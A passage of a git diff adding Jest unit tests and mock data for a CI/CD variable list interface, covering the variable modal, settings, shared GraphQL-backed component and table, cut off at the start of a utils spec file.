+ masked: false,
+ };
+ createComponent({
+ mountFn: mountExtended,
+ props: { selectedVariable: invalidKeyVariable },
+ });
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ await findValueField().vm.$emit('input', value);
+ if (masked) {
+ await findMaskedVariableCheckbox().trigger('click');
+ }
+ });
+
+ it(`${
+ eventSent > 0 ? 'sends the correct' : 'does not send the'
+ } variable validation tracking event with ${value}`, () => {
+ expect(trackingSpy).toHaveBeenCalledTimes(eventSent);
+
+ if (eventSent > 0) {
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, EVENT_ACTION, {
+ label: EVENT_LABEL,
+ property: trackingErrorProperty,
+ });
+ }
+ });
+ });
+
+ describe('when masked variable has acceptable value', () => {
+ beforeEach(() => {
+ const [variable] = mockVariables;
+ const validMaskandKeyVariable = {
+ ...variable,
+ key: AWS_ACCESS_KEY_ID,
+ value: '12345678',
+ masked: true,
+ };
+ createComponent({
+ mountFn: mountExtended,
+ props: { selectedVariable: validMaskandKeyVariable },
+ });
+ });
+
+ it('does not disable the submit button', () => {
+ expect(findAddorUpdateButton().attributes('disabled')).toBeUndefined();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_variable_settings_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_variable_settings_spec.js
new file mode 100644
index 00000000000..32af2ec4de9
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_variable_settings_spec.js
@@ -0,0 +1,147 @@
+import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import CiVariableSettings from '~/ci/ci_variable_list/components/ci_variable_settings.vue';
+import ciVariableModal from '~/ci/ci_variable_list/components/ci_variable_modal.vue';
+import ciVariableTable from '~/ci/ci_variable_list/components/ci_variable_table.vue';
+import {
+ ADD_VARIABLE_ACTION,
+ EDIT_VARIABLE_ACTION,
+ projectString,
+} from '~/ci/ci_variable_list/constants';
+import { mapEnvironmentNames } from '~/ci/ci_variable_list/utils';
+
+import { mockEnvs, mockVariablesWithScopes, newVariable } from '../mocks';
+
+describe('Ci variable table', () => {
+ let wrapper;
+
+ const defaultProps = {
+ areScopedVariablesAvailable: true,
+ entity: 'project',
+ environments: mapEnvironmentNames(mockEnvs),
+ hideEnvironmentScope: false,
+ isLoading: false,
+ maxVariableLimit: 5,
+ variables: mockVariablesWithScopes(projectString),
+ };
+
+ const findCiVariableTable = () => wrapper.findComponent(ciVariableTable);
+ const findCiVariableModal = () => wrapper.findComponent(ciVariableModal);
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = shallowMount(CiVariableSettings, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('props passing', () => {
+ it('passes props down correctly to the ci table', () => {
+ createComponent();
+
+ expect(findCiVariableTable().props()).toEqual({
+ entity: 'project',
+ isLoading: defaultProps.isLoading,
+ maxVariableLimit: defaultProps.maxVariableLimit,
+ variables: defaultProps.variables,
+ });
+ });
+
+ it('passes props down correctly to the ci modal', async () => {
+ createComponent();
+
+ findCiVariableTable().vm.$emit('set-selected-variable');
+ await nextTick();
+
+ expect(findCiVariableModal().props()).toEqual({
+ areScopedVariablesAvailable: defaultProps.areScopedVariablesAvailable,
+ environments: defaultProps.environments,
+ hideEnvironmentScope: defaultProps.hideEnvironmentScope,
+ variables: defaultProps.variables,
+ mode: ADD_VARIABLE_ACTION,
+ selectedVariable: {},
+ });
+ });
+ });
+
+ describe('modal mode', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('passes down ADD mode when receiving an empty variable', async () => {
+ findCiVariableTable().vm.$emit('set-selected-variable');
+ await nextTick();
+
+ expect(findCiVariableModal().props('mode')).toBe(ADD_VARIABLE_ACTION);
+ });
+
+ it('passes down EDIT mode when receiving a variable', async () => {
+ findCiVariableTable().vm.$emit('set-selected-variable', newVariable);
+ await nextTick();
+
+ expect(findCiVariableModal().props('mode')).toBe(EDIT_VARIABLE_ACTION);
+ });
+ });
+
+ describe('variable modal', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('is hidden by default', () => {
+ expect(findCiVariableModal().exists()).toBe(false);
+ });
+
+ it('shows modal when adding a new variable', async () => {
+ findCiVariableTable().vm.$emit('set-selected-variable');
+ await nextTick();
+
+ expect(findCiVariableModal().exists()).toBe(true);
+ });
+
+ it('shows modal when updating a variable', async () => {
+ findCiVariableTable().vm.$emit('set-selected-variable', newVariable);
+ await nextTick();
+
+ expect(findCiVariableModal().exists()).toBe(true);
+ });
+
+ it('hides modal when receiving the event from the modal', async () => {
+ findCiVariableTable().vm.$emit('set-selected-variable');
+ await nextTick();
+
+ findCiVariableModal().vm.$emit('hideModal');
+ await nextTick();
+
+ expect(findCiVariableModal().exists()).toBe(false);
+ });
+ });
+
+ describe('variable events', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it.each`
+ eventName
+ ${'add-variable'}
+ ${'update-variable'}
+ ${'delete-variable'}
+ `('bubbles up the $eventName event', async ({ eventName }) => {
+ findCiVariableTable().vm.$emit('set-selected-variable');
+ await nextTick();
+
+ findCiVariableModal().vm.$emit(eventName, newVariable);
+ await nextTick();
+
+ expect(wrapper.emitted(eventName)).toEqual([[newVariable]]);
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_variable_shared_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_variable_shared_spec.js
new file mode 100644
index 00000000000..2d39bff8ce0
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_variable_shared_spec.js
@@ -0,0 +1,450 @@
+import Vue, { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import { GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import { createAlert } from '~/flash';
+import { resolvers } from '~/ci/ci_variable_list/graphql/settings';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+
+import ciVariableShared from '~/ci/ci_variable_list/components/ci_variable_shared.vue';
+import ciVariableSettings from '~/ci/ci_variable_list/components/ci_variable_settings.vue';
+import ciVariableTable from '~/ci/ci_variable_list/components/ci_variable_table.vue';
+import getProjectEnvironments from '~/ci/ci_variable_list/graphql/queries/project_environments.query.graphql';
+import getAdminVariables from '~/ci/ci_variable_list/graphql/queries/variables.query.graphql';
+import getGroupVariables from '~/ci/ci_variable_list/graphql/queries/group_variables.query.graphql';
+import getProjectVariables from '~/ci/ci_variable_list/graphql/queries/project_variables.query.graphql';
+
+import {
+ ADD_MUTATION_ACTION,
+ DELETE_MUTATION_ACTION,
+ UPDATE_MUTATION_ACTION,
+ environmentFetchErrorText,
+ genericMutationErrorText,
+ variableFetchErrorText,
+} from '~/ci/ci_variable_list/constants';
+
+import {
+ createGroupProps,
+ createInstanceProps,
+ createProjectProps,
+ createGroupProvide,
+ createProjectProvide,
+ devName,
+ mockProjectEnvironments,
+ mockProjectVariables,
+ newVariable,
+ prodName,
+ mockGroupVariables,
+ mockAdminVariables,
+} from '../mocks';
+
+jest.mock('~/flash');
+
+Vue.use(VueApollo);
+
+const mockProvide = {
+ endpoint: '/variables',
+ isGroup: false,
+ isProject: false,
+};
+
+const defaultProps = {
+ areScopedVariablesAvailable: true,
+ hideEnvironmentScope: false,
+ refetchAfterMutation: false,
+};
+
+describe('Ci Variable Shared Component', () => {
+ let wrapper;
+
+ let mockApollo;
+ let mockEnvironments;
+ let mockVariables;
+
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findCiTable = () => wrapper.findComponent(GlTable);
+ const findCiSettings = () => wrapper.findComponent(ciVariableSettings);
+
+ // eslint-disable-next-line consistent-return
+ async function createComponentWithApollo({
+ customHandlers = null,
+ isLoading = false,
+ props = { ...createProjectProps() },
+ provide = {},
+ } = {}) {
+ const handlers = customHandlers || [
+ [getProjectEnvironments, mockEnvironments],
+ [getProjectVariables, mockVariables],
+ ];
+
+ mockApollo = createMockApollo(handlers, resolvers);
+
+ wrapper = shallowMount(ciVariableShared, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ provide: {
+ ...mockProvide,
+ ...provide,
+ },
+ apolloProvider: mockApollo,
+ stubs: { ciVariableSettings, ciVariableTable },
+ });
+
+ if (!isLoading) {
+ return waitForPromises();
+ }
+ }
+
+ beforeEach(() => {
+ mockEnvironments = jest.fn();
+ mockVariables = jest.fn();
+ });
+
+ describe('while queries are being fetch', () => {
+ beforeEach(() => {
+ createComponentWithApollo({ isLoading: true });
+ });
+
+ it('shows a loading icon', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+ expect(findCiTable().exists()).toBe(false);
+ });
+ });
+
+ describe('when queries are resolved', () => {
+ describe('successfully', () => {
+ beforeEach(async () => {
+ mockEnvironments.mockResolvedValue(mockProjectEnvironments);
+ mockVariables.mockResolvedValue(mockProjectVariables);
+
+ await createComponentWithApollo({ provide: createProjectProvide() });
+ });
+
+ it('passes down the expected max variable limit as props', () => {
+ expect(findCiSettings().props('maxVariableLimit')).toBe(
+ mockProjectVariables.data.project.ciVariables.limit,
+ );
+ });
+
+ it('passes down the expected environments as props', () => {
+ expect(findCiSettings().props('environments')).toEqual([prodName, devName]);
+ });
+
+ it('passes down the expected variables as props', () => {
+ expect(findCiSettings().props('variables')).toEqual(
+ mockProjectVariables.data.project.ciVariables.nodes,
+ );
+ });
+
+ it('createAlert was not called', () => {
+ expect(createAlert).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('with an error for variables', () => {
+ beforeEach(async () => {
+ mockEnvironments.mockResolvedValue(mockProjectEnvironments);
+ mockVariables.mockRejectedValue();
+
+ await createComponentWithApollo();
+ });
+
+ it('calls createAlert with the expected error message', () => {
+ expect(createAlert).toHaveBeenCalledWith({ message: variableFetchErrorText });
+ });
+ });
+
+ describe('with an error for environments', () => {
+ beforeEach(async () => {
+ mockEnvironments.mockRejectedValue();
+ mockVariables.mockResolvedValue(mockProjectVariables);
+
+ await createComponentWithApollo();
+ });
+
+ it('calls createAlert with the expected error message', () => {
+ expect(createAlert).toHaveBeenCalledWith({ message: environmentFetchErrorText });
+ });
+ });
+ });
+
+ describe('environment query', () => {
+ describe('when there is an environment key in queryData', () => {
+ beforeEach(async () => {
+ mockEnvironments.mockResolvedValue(mockProjectEnvironments);
+ mockVariables.mockResolvedValue(mockProjectVariables);
+
+ await createComponentWithApollo({ props: { ...createProjectProps() } });
+ });
+
+ it('is executed', () => {
+ expect(mockVariables).toHaveBeenCalled();
+ });
+ });
+
+ describe('when there isnt an environment key in queryData', () => {
+ beforeEach(async () => {
+ mockVariables.mockResolvedValue(mockGroupVariables);
+
+ await createComponentWithApollo({ props: { ...createGroupProps() } });
+ });
+
+ it('is skipped', () => {
+ expect(mockVariables).not.toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('mutations', () => {
+ const groupProps = createGroupProps();
+
+ beforeEach(async () => {
+ mockVariables.mockResolvedValue(mockGroupVariables);
+
+ await createComponentWithApollo({
+ customHandlers: [[getGroupVariables, mockVariables]],
+ props: groupProps,
+ });
+ });
+ it.each`
+ actionName | mutation | event
+ ${'add'} | ${groupProps.mutationData[ADD_MUTATION_ACTION]} | ${'add-variable'}
+ ${'update'} | ${groupProps.mutationData[UPDATE_MUTATION_ACTION]} | ${'update-variable'}
+ ${'delete'} | ${groupProps.mutationData[DELETE_MUTATION_ACTION]} | ${'delete-variable'}
+ `(
+ 'calls the right mutation from propsData when user performs $actionName variable',
+ async ({ event, mutation }) => {
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue();
+
+ await findCiSettings().vm.$emit(event, newVariable);
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation,
+ variables: {
+ endpoint: mockProvide.endpoint,
+ fullPath: groupProps.fullPath,
+ id: convertToGraphQLId('Group', groupProps.id),
+ variable: newVariable,
+ },
+ });
+ },
+ );
+
+ it.each`
+ actionName | event
+ ${'add'} | ${'add-variable'}
+ ${'update'} | ${'update-variable'}
+ ${'delete'} | ${'delete-variable'}
+ `(
+ 'throws with the specific graphql error if present when user performs $actionName variable',
+ async ({ event }) => {
+ const graphQLErrorMessage = 'There is a problem with this graphQL action';
+ jest
+ .spyOn(wrapper.vm.$apollo, 'mutate')
+ .mockResolvedValue({ data: { ciVariableMutation: { errors: [graphQLErrorMessage] } } });
+ await findCiSettings().vm.$emit(event, newVariable);
+ await nextTick();
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalled();
+ expect(createAlert).toHaveBeenCalledWith({ message: graphQLErrorMessage });
+ },
+ );
+
+ it.each`
+ actionName | event
+ ${'add'} | ${'add-variable'}
+ ${'update'} | ${'update-variable'}
+ ${'delete'} | ${'delete-variable'}
+ `(
+ 'throws generic error on failure with no graphql errors and user performs $actionName variable',
+ async ({ event }) => {
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockImplementationOnce(() => {
+ throw new Error();
+ });
+ await findCiSettings().vm.$emit(event, newVariable);
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalled();
+ expect(createAlert).toHaveBeenCalledWith({ message: genericMutationErrorText });
+ },
+ );
+
+ describe('without fullpath and ID props', () => {
+ beforeEach(async () => {
+ mockVariables.mockResolvedValue(mockAdminVariables);
+
+ await createComponentWithApollo({
+ customHandlers: [[getAdminVariables, mockVariables]],
+ props: createInstanceProps(),
+ });
+ });
+
+ it('does not pass fullPath and ID to the mutation', async () => {
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue();
+
+ await findCiSettings().vm.$emit('add-variable', newVariable);
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: wrapper.props().mutationData[ADD_MUTATION_ACTION],
+ variables: {
+ endpoint: mockProvide.endpoint,
+ variable: newVariable,
+ },
+ });
+ });
+ });
+ });
+
+ describe('Props', () => {
+ const mockGroupCiVariables = mockGroupVariables.data.group.ciVariables;
+ const mockProjectCiVariables = mockProjectVariables.data.project.ciVariables;
+
+ describe('in a specific context as', () => {
+ it.each`
+ name | mockVariablesValue | mockEnvironmentsValue | withEnvironments | expectedEnvironments | propsFn | provideFn | mutation | maxVariableLimit
+ ${'project'} | ${mockProjectVariables} | ${mockProjectEnvironments} | ${true} | ${['prod', 'dev']} | ${createProjectProps} | ${createProjectProvide} | ${null} | ${mockProjectCiVariables.limit}
+ ${'group'} | ${mockGroupVariables} | ${[]} | ${false} | ${[]} | ${createGroupProps} | ${createGroupProvide} | ${getGroupVariables} | ${mockGroupCiVariables.limit}
+ ${'instance'} | ${mockAdminVariables} | ${[]} | ${false} | ${[]} | ${createInstanceProps} | ${() => {}} | ${getAdminVariables} | ${0}
+ `(
+ 'passes down all the required props when its a $name component',
+ async ({
+ mutation,
+ maxVariableLimit,
+ mockVariablesValue,
+ mockEnvironmentsValue,
+ withEnvironments,
+ expectedEnvironments,
+ propsFn,
+ provideFn,
+ }) => {
+ const props = propsFn();
+ const provide = provideFn();
+
+ mockVariables.mockResolvedValue(mockVariablesValue);
+
+ if (withEnvironments) {
+ mockEnvironments.mockResolvedValue(mockEnvironmentsValue);
+ }
+
+ let customHandlers = null;
+
+ if (mutation) {
+ customHandlers = [[mutation, mockVariables]];
+ }
+
+ await createComponentWithApollo({ customHandlers, props, provide });
+
+ expect(findCiSettings().props()).toEqual({
+ areScopedVariablesAvailable: wrapper.props().areScopedVariablesAvailable,
+ hideEnvironmentScope: defaultProps.hideEnvironmentScope,
+ isLoading: false,
+ maxVariableLimit,
+ variables: wrapper.props().queryData.ciVariables.lookup(mockVariablesValue.data)?.nodes,
+ entity: props.entity,
+ environments: expectedEnvironments,
+ });
+ },
+ );
+ });
+
+ describe('refetchAfterMutation', () => {
+ it.each`
+ bool | text
+ ${true} | ${'refetches the variables'}
+ ${false} | ${'does not refetch the variables'}
+ `('when $bool it $text', async ({ bool }) => {
+ await createComponentWithApollo({
+ props: { ...createInstanceProps(), refetchAfterMutation: bool },
+ });
+
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({ data: {} });
+ jest.spyOn(wrapper.vm.$apollo.queries.ciVariables, 'refetch').mockImplementation(jest.fn());
+
+ await findCiSettings().vm.$emit('add-variable', newVariable);
+
+ await nextTick();
+
+ if (bool) {
+ expect(wrapper.vm.$apollo.queries.ciVariables.refetch).toHaveBeenCalled();
+ } else {
+ expect(wrapper.vm.$apollo.queries.ciVariables.refetch).not.toHaveBeenCalled();
+ }
+ });
+ });
+
+ describe('Validators', () => {
+ describe('queryData', () => {
+ let error;
+
+ beforeEach(async () => {
+ mockVariables.mockResolvedValue(mockGroupVariables);
+ });
+
+ it('will mount component with right data', async () => {
+ try {
+ await createComponentWithApollo({
+ customHandlers: [[getGroupVariables, mockVariables]],
+ props: { ...createGroupProps() },
+ });
+ } catch (e) {
+ error = e;
+ } finally {
+ expect(wrapper.exists()).toBe(true);
+ expect(error).toBeUndefined();
+ }
+ });
+
+ it('will not mount component with wrong data', async () => {
+ try {
+ await createComponentWithApollo({
+ customHandlers: [[getGroupVariables, mockVariables]],
+ props: { ...createGroupProps(), queryData: { wrongKey: {} } },
+ });
+ } catch (e) {
+ error = e;
+ } finally {
+ expect(wrapper.exists()).toBe(false);
+ expect(error.toString()).toContain('custom validator check failed for prop');
+ }
+ });
+ });
+
+ describe('mutationData', () => {
+ let error;
+
+ beforeEach(async () => {
+ mockVariables.mockResolvedValue(mockGroupVariables);
+ });
+
+ it('will mount component with right data', async () => {
+ try {
+ await createComponentWithApollo({
+ props: { ...createGroupProps() },
+ });
+ } catch (e) {
+ error = e;
+ } finally {
+ expect(wrapper.exists()).toBe(true);
+ expect(error).toBeUndefined();
+ }
+ });
+
+ it('will not mount component with wrong data', async () => {
+ try {
+ await createComponentWithApollo({
+ props: { ...createGroupProps(), mutationData: { wrongKey: {} } },
+ });
+ } catch (e) {
+ error = e;
+ } finally {
+ expect(wrapper.exists()).toBe(false);
+ expect(error.toString()).toContain('custom validator check failed for prop');
+ }
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/components/ci_variable_table_spec.js b/spec/frontend/ci/ci_variable_list/components/ci_variable_table_spec.js
new file mode 100644
index 00000000000..9e2508c56ee
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/components/ci_variable_table_spec.js
@@ -0,0 +1,172 @@
+import { GlAlert } from '@gitlab/ui';
+import { sprintf } from '~/locale';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import CiVariableTable from '~/ci/ci_variable_list/components/ci_variable_table.vue';
+import { EXCEEDS_VARIABLE_LIMIT_TEXT, projectString } from '~/ci/ci_variable_list/constants';
+import { mockVariables } from '../mocks';
+
+describe('Ci variable table', () => {
+ let wrapper;
+
+ const defaultProps = {
+ entity: 'project',
+ isLoading: false,
+ maxVariableLimit: mockVariables(projectString).length + 1,
+ variables: mockVariables(projectString),
+ };
+
+ const mockMaxVariableLimit = defaultProps.variables.length;
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = mountExtended(CiVariableTable, {
+ attachTo: document.body,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ const findRevealButton = () => wrapper.findByText('Reveal values');
+ const findAddButton = () => wrapper.findByLabelText('Add');
+ const findEditButton = () => wrapper.findByLabelText('Edit');
+ const findEmptyVariablesPlaceholder = () => wrapper.findByText('There are no variables yet.');
+ const findHiddenValues = () => wrapper.findAllByTestId('hiddenValue');
+ const findLimitReachedAlerts = () => wrapper.findAllComponents(GlAlert);
+ const findRevealedValues = () => wrapper.findAllByTestId('revealedValue');
+ const findOptionsValues = (rowIndex) =>
+ wrapper.findAllByTestId('ci-variable-table-row-options').at(rowIndex).text();
+
+ const generateExceedsVariableLimitText = (entity, currentVariableCount, maxVariableLimit) => {
+ return sprintf(EXCEEDS_VARIABLE_LIMIT_TEXT, { entity, currentVariableCount, maxVariableLimit });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('When table is empty', () => {
+ beforeEach(() => {
+ createComponent({ props: { variables: [] } });
+ });
+
+ it('displays empty message', () => {
+ expect(findEmptyVariablesPlaceholder().exists()).toBe(true);
+ });
+
+ it('hides the reveal button', () => {
+ expect(findRevealButton().exists()).toBe(false);
+ });
+ });
+
+ describe('When table has variables', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('does not display the empty message', () => {
+ expect(findEmptyVariablesPlaceholder().exists()).toBe(false);
+ });
+
+ it('displays the reveal button', () => {
+ expect(findRevealButton().exists()).toBe(true);
+ });
+
+ it('displays the correct amount of variables', async () => {
+ expect(wrapper.findAll('.js-ci-variable-row')).toHaveLength(defaultProps.variables.length);
+ });
+
+ it('displays the correct variable options', async () => {
+ expect(findOptionsValues(0)).toBe('Protected, Expanded');
+ expect(findOptionsValues(1)).toBe('Masked');
+ });
+
+ it('enables the Add Variable button', () => {
+ expect(findAddButton().props('disabled')).toBe(false);
+ });
+ });
+
+ describe('When variables have exceeded the max limit', () => {
+ beforeEach(() => {
+ createComponent({ props: { maxVariableLimit: mockVariables(projectString).length } });
+ });
+
+ it('disables the Add Variable button', () => {
+ expect(findAddButton().props('disabled')).toBe(true);
+ });
+ });
+
+ describe('max limit reached alert', () => {
+ describe('when there is no variable limit', () => {
+ beforeEach(() => {
+ createComponent({
+ props: { maxVariableLimit: 0 },
+ });
+ });
+
+ it('hides alert', () => {
+ expect(findLimitReachedAlerts().length).toBe(0);
+ });
+ });
+
+ describe('when variable limit exists', () => {
+ it('hides alert when limit has not been reached', () => {
+ createComponent();
+
+ expect(findLimitReachedAlerts().length).toBe(0);
+ });
+
+ it('shows alert when limit has been reached', () => {
+ const exceedsVariableLimitText = generateExceedsVariableLimitText(
+ defaultProps.entity,
+ defaultProps.variables.length,
+ mockMaxVariableLimit,
+ );
+
+ createComponent({
+ props: { maxVariableLimit: mockMaxVariableLimit },
+ });
+
+ expect(findLimitReachedAlerts().length).toBe(2);
+
+ expect(findLimitReachedAlerts().at(0).props('dismissible')).toBe(false);
+ expect(findLimitReachedAlerts().at(0).text()).toContain(exceedsVariableLimitText);
+
+ expect(findLimitReachedAlerts().at(1).props('dismissible')).toBe(false);
+ expect(findLimitReachedAlerts().at(1).text()).toContain(exceedsVariableLimitText);
+ });
+ });
+ });
+
+ describe('Table click actions', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('reveals secret values when button is clicked', async () => {
+ expect(findHiddenValues()).toHaveLength(defaultProps.variables.length);
+ expect(findRevealedValues()).toHaveLength(0);
+
+ await findRevealButton().trigger('click');
+
+ expect(findHiddenValues()).toHaveLength(0);
+ expect(findRevealedValues()).toHaveLength(defaultProps.variables.length);
+ });
+
+ it('dispatches `setSelectedVariable` with correct variable to edit', async () => {
+ await findEditButton().trigger('click');
+
+ expect(wrapper.emitted('set-selected-variable')).toEqual([[defaultProps.variables[0]]]);
+ });
+
+ it('dispatches `setSelectedVariable` with no variable when adding a new one', async () => {
+ await findAddButton().trigger('click');
+
+ expect(wrapper.emitted('set-selected-variable')).toEqual([[null]]);
+ });
+ });
+});
diff --git a/spec/frontend/ci/ci_variable_list/mocks.js b/spec/frontend/ci/ci_variable_list/mocks.js
new file mode 100644
index 00000000000..4da4f53f69f
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/mocks.js
@@ -0,0 +1,213 @@
+import {
+ ADD_MUTATION_ACTION,
+ DELETE_MUTATION_ACTION,
+ UPDATE_MUTATION_ACTION,
+ variableTypes,
+ groupString,
+ instanceString,
+ projectString,
+} from '~/ci/ci_variable_list/constants';
+
+import addAdminVariable from '~/ci/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql';
+import deleteAdminVariable from '~/ci/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql';
+import updateAdminVariable from '~/ci/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql';
+import addGroupVariable from '~/ci/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql';
+import deleteGroupVariable from '~/ci/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql';
+import updateGroupVariable from '~/ci/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql';
+import addProjectVariable from '~/ci/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql';
+import deleteProjectVariable from '~/ci/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql';
+import updateProjectVariable from '~/ci/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql';
+
+import getAdminVariables from '~/ci/ci_variable_list/graphql/queries/variables.query.graphql';
+import getGroupVariables from '~/ci/ci_variable_list/graphql/queries/group_variables.query.graphql';
+import getProjectEnvironments from '~/ci/ci_variable_list/graphql/queries/project_environments.query.graphql';
+import getProjectVariables from '~/ci/ci_variable_list/graphql/queries/project_variables.query.graphql';
+
+export const devName = 'dev';
+export const prodName = 'prod';
+
+export const mockVariables = (kind) => {
+ return [
+ {
+ __typename: `Ci${kind}Variable`,
+ id: 1,
+ key: 'my-var',
+ masked: false,
+ protected: true,
+ raw: false,
+ value: 'variable_value',
+ variableType: variableTypes.envType,
+ },
+ {
+ __typename: `Ci${kind}Variable`,
+ id: 2,
+ key: 'secret',
+ masked: true,
+ protected: false,
+ raw: true,
+ value: 'another_value',
+ variableType: variableTypes.fileType,
+ },
+ ];
+};
+
+export const mockVariablesWithScopes = (kind) =>
+ mockVariables(kind).map((variable) => {
+ return { ...variable, environmentScope: '*' };
+ });
+
+const createDefaultVars = ({ withScope = true, kind } = {}) => {
+ let base = mockVariables(kind);
+
+ if (withScope) {
+ base = mockVariablesWithScopes(kind);
+ }
+
+ return {
+ __typename: `Ci${kind}VariableConnection`,
+ limit: 200,
+ pageInfo: {
+ startCursor: 'adsjsd12kldpsa',
+ endCursor: 'adsjsd12kldpsa',
+ hasPreviousPage: false,
+ hasNextPage: true,
+ },
+ nodes: base,
+ };
+};
+
+const defaultEnvs = {
+ __typename: 'EnvironmentConnection',
+ nodes: [
+ {
+ __typename: 'Environment',
+ id: 1,
+ name: prodName,
+ },
+ {
+ __typename: 'Environment',
+ id: 2,
+ name: devName,
+ },
+ ],
+};
+
+export const mockEnvs = defaultEnvs.nodes;
+
+export const mockProjectEnvironments = {
+ data: {
+ project: {
+ __typename: 'Project',
+ id: 1,
+ environments: defaultEnvs,
+ },
+ },
+};
+
+export const mockProjectVariables = {
+ data: {
+ project: {
+ __typename: 'Project',
+ id: 1,
+ ciVariables: createDefaultVars({ kind: projectString }),
+ },
+ },
+};
+
+export const mockGroupVariables = {
+ data: {
+ group: {
+ __typename: 'Group',
+ id: 1,
+ ciVariables: createDefaultVars({ kind: groupString }),
+ },
+ },
+};
+
+export const mockAdminVariables = {
+ data: {
+ ciVariables: createDefaultVars({ withScope: false, kind: instanceString }),
+ },
+};
+
+export const newVariable = {
+ id: 3,
+ environmentScope: 'new',
+ key: 'AWS_RANDOM_THING',
+ masked: true,
+ protected: false,
+ value: 'devops',
+ variableType: variableTypes.variableType,
+};
+
+export const createProjectProps = () => {
+ return {
+ componentName: 'ProjectVariable',
+ entity: 'project',
+ fullPath: '/namespace/project/',
+ id: 'gid://gitlab/Project/20',
+ mutationData: {
+ [ADD_MUTATION_ACTION]: addProjectVariable,
+ [UPDATE_MUTATION_ACTION]: updateProjectVariable,
+ [DELETE_MUTATION_ACTION]: deleteProjectVariable,
+ },
+ queryData: {
+ ciVariables: {
+ lookup: (data) => data?.project?.ciVariables,
+ query: getProjectVariables,
+ },
+ environments: {
+ lookup: (data) => data?.project?.environments,
+ query: getProjectEnvironments,
+ },
+ },
+ };
+};
+
+export const createGroupProps = () => {
+ return {
+ componentName: 'GroupVariable',
+ entity: 'group',
+ fullPath: '/my-group',
+ id: 'gid://gitlab/Group/20',
+ mutationData: {
+ [ADD_MUTATION_ACTION]: addGroupVariable,
+ [UPDATE_MUTATION_ACTION]: updateGroupVariable,
+ [DELETE_MUTATION_ACTION]: deleteGroupVariable,
+ },
+ queryData: {
+ ciVariables: {
+ lookup: (data) => data?.group?.ciVariables,
+ query: getGroupVariables,
+ },
+ },
+ };
+};
+
+export const createInstanceProps = () => {
+ return {
+ componentName: 'InstanceVariable',
+ entity: '',
+ mutationData: {
+ [ADD_MUTATION_ACTION]: addAdminVariable,
+ [UPDATE_MUTATION_ACTION]: updateAdminVariable,
+ [DELETE_MUTATION_ACTION]: deleteAdminVariable,
+ },
+ queryData: {
+ ciVariables: {
+ lookup: (data) => data?.ciVariables,
+ query: getAdminVariables,
+ },
+ },
+ };
+};
+
+export const createGroupProvide = () => ({
+ isGroup: true,
+ isProject: false,
+});
+
+export const createProjectProvide = () => ({
+ isGroup: false,
+ isProject: true,
+});
diff --git a/spec/frontend/ci_variable_list/services/mock_data.js b/spec/frontend/ci/ci_variable_list/services/mock_data.js
index 44f4db93c63..44f4db93c63 100644
--- a/spec/frontend/ci_variable_list/services/mock_data.js
+++ b/spec/frontend/ci/ci_variable_list/services/mock_data.js
diff --git a/spec/frontend/ci_variable_list/stubs.js b/spec/frontend/ci/ci_variable_list/stubs.js
index 5769d6190f6..5769d6190f6 100644
--- a/spec/frontend/ci_variable_list/stubs.js
+++ b/spec/frontend/ci/ci_variable_list/stubs.js
diff --git a/spec/frontend/ci/ci_variable_list/utils_spec.js b/spec/frontend/ci/ci_variable_list/utils_spec.js
new file mode 100644
index 00000000000..beeae71376a
--- /dev/null
+++ b/spec/frontend/ci/ci_variable_list/utils_spec.js
@@ -0,0 +1,78 @@
+import {
